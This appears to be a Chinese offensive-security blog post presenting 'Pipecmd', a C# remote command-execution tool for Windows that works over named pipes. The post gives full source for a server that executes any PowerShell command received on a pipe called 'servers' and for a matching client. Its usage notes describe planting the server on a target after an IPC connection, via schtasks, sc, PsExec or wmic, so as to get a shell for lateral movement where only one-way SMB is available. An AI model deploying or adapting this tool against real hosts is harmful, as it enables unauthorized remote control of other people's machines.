Pipecmd-通过命名管道Pipe执行系统命令

老许,你要老婆不要。

前言

本文章不写命名管道的定义及原理,只谈利用。如对windows命名管道不了解的,可阅读文章Windows 命名管道研究初探

C#-Pipecmd编写

适用场景:

1
2
机器之间只存在单向SMB通讯。
连接IPC后,弹回该机器的shell。

PipeServer服务端实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
using System;
using System.IO.Pipes;
using System.Management.Automation.Runspaces;
using System.Management.Automation;
using System.Text;
namespace PipeServer
{
class Program
{
static void Main(string[] args)
{
UTF8Encoding encoding = new UTF8Encoding();
Decoder decoder = Encoding.UTF8.GetDecoder();
byte[] ByteCmd = new byte[2048];
char[] chars = new char[2048];
int numBytes;
NamedPipeServerStream Pipserver = new NamedPipeServerStream("servers", PipeDirection.InOut, NamedPipeServerStream.MaxAllowedServerInstances, PipeTransmissionMode.Message);
{
Pipserver.WaitForConnection();
while (true)
{
string command = "";
do
{
numBytes = Pipserver.Read(ByteCmd, 0, ByteCmd.Length);
int numChars = decoder.GetChars(ByteCmd, 0, numBytes, chars, 0);
command += new string(chars, 0, numChars);
} while (!Pipserver.IsMessageComplete);//while (string.IsNullOrEmpty(command));
decoder.Reset();
if (command.ToLower() == "exit")
{
return;
}
Runspace runspace = RunspaceFactory.CreateRunspace();
runspace.Open();
Pipeline pipeline = runspace.CreatePipeline();
try
{
pipeline.Commands.AddScript(command);
var results = pipeline.Invoke();
StringBuilder sb = new StringBuilder();
foreach (PSObject result in results)
{
sb.AppendLine(result.ToString());
}
if (!String.IsNullOrEmpty(sb.ToString()))
{
var response = Encoding.Default.GetBytes(sb.ToString());
Pipserver.Write(response, 0, response.Length);
}
else
{
string Null = "Command execution completed";
var response = Encoding.Default.GetBytes(Null);
Pipserver.Write(response, 0, response.Length);
}

}
catch
{
string Error = "The Command is not supported";
var response = Encoding.Default.GetBytes(Error);
Pipserver.Write(response, 0, response.Length);
}
}
}
}
}
}

PipeClient客户端实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
using System.IO.Pipes;
using System.IO;
using System;
using System.Text;
namespace PipeClient
{
class Program
{
static void Main(string[] args)
{
UTF8Encoding encoding = new UTF8Encoding();
Decoder decoder = Encoding.UTF8.GetDecoder();
byte[] response = new byte[2048];
char[] chars = new char[2048];
int numBytes;
NamedPipeClientStream PipClient = new NamedPipeClientStream(args[0], "servers", PipeDirection.InOut);
{
PipClient.Connect();
PipClient.ReadMode = PipeTransmissionMode.Message;
while (true)
{
Console.Write("PipeCmd> ");
var StringCmd = Console.ReadLine();
if (String.IsNullOrEmpty(StringCmd)) continue;
var ByteCmd = Encoding.Default.GetBytes(StringCmd);
PipClient.Write(ByteCmd, 0, ByteCmd.Length);
if (StringCmd.ToLower() == "exit")
{
return;
}
string Command = "";
do
{
numBytes = PipClient.Read(response, 0, response.Length);
int numChars = decoder.GetChars(response, 0, numBytes, chars, 0);
Command += new string(chars, 0, numChars);
} while (!PipClient.IsMessageComplete);
decoder.Reset();
Console.WriteLine(Command);
}
}
}
}
}

使用说明:

1
2
3
4
5
6
7
8
本机:
第一步:运行PipeServer.exe
第二步:运行PipeClient.exe 127.0.0.1,进入pipecmd命令行模式,exit命令退出程序。
远程:
第一步:IPC连接目标机(确保有权限访问该机器的管道)
第二步:在目标机运行PipeServer.exe(可用at、schtasks、sc、PsExec
wmic等执行)
第三步:运行PipeClient.exe IpcIp 进入pipecmd命令行模式,exit命令退出程序。

运行过程

服务端Server在本地创建一个名为servers的pipe管道,客户端Client访问该管道进行通讯,服务端Server接受到客户端Client发出的命令之后将调用System.Management.Automation.dll执行powershell命令,并将执行结果返回到客户端Client,客户端接受到结果后显示,并等待下一次命令发出。

本地效果图

远程效果图

下载链接

编译环境炸了,晚点补上。